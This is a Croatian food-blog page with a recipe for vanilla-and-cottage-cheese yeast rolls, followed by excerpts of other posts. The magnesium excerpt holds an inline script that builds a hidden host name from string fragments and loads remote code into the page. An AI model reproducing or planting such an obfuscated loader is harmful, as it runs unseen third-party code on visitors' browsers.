PUŽIĆI S KREMOM OD VANILIJE





Pužići s kremom od vanilije 



Mekani, mirisni i puni kreme, ovi pužići s vanilijom i svježim sirom savršen su izbor kada poželite nešto domaće i slatko. Riječ je o klasičnom desertu koji se često veže uz djetinjstvo, posebice kad se miris svježe pečenog tijesta proširi kuhinjom.




Pužići s kremom od vanilije 


Sastojci:

500 g glatkog brašna
300 ml mlakog mlijeka
2 žumanjka
70 g omekšalog maslaca
70 g šećera u prahu
2 žličice šećera
40 g svježeg kvasca
prstohvat soli


Nadjev:

350 ml mlijeka
3 žlice šećera
vrećica pudinga od vanilije
vrećica vanilin šećera
250 g svježeg sira


Dodatno:

grožđice po želji
jaje za premazivanje
2 žličice mlijeka



Priprema:

Polovicu mlakog mlijeka pomiješajte s dvije žličice šećera i dvije žličice brašna. U smjesu izmrvite kvasac i ostavite da odstoji oko 10 minuta, dok se ne zapjeni. U većoj zdjeli sjedinite preostalo brašno, šećer u prahu, žumanjke, sol, omekšali maslac i ostatak mlijeka. Dodajte pripremljeni kvasac i zamijesite glatko tijesto.

Tijesto pokrijte i ostavite na toplom mjestu da se diže oko 30 minuta. Za nadjev zakuhajte mlijeko sa šećerom, vanilin šećerom i pudingom da dobijete gustu kremu. Ostavite da se ohladi pa umiješajte svježi sir. Dignuto tijesto razvaljajte na pobrašnjenoj podlozi u pravokutnik debljine oko 5 mm.

Premažite ga nadjevom, pospite grožđicama (po želji) i zarolajte u roladu. Narežite na komade debljine oko 2 cm. Pužiće posložite na lim obložen papirom za pečenje, ostavljajući razmak između njih. Pokrijte i ostavite da se dižu još 30 minuta. Razmutite jaje s mlijekom i premažite pužiće. Pecite na 180°C 20-25 minuta, dok ne postanu zlatno smeđi. Na kraju ih pospite šećerom u prahu.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više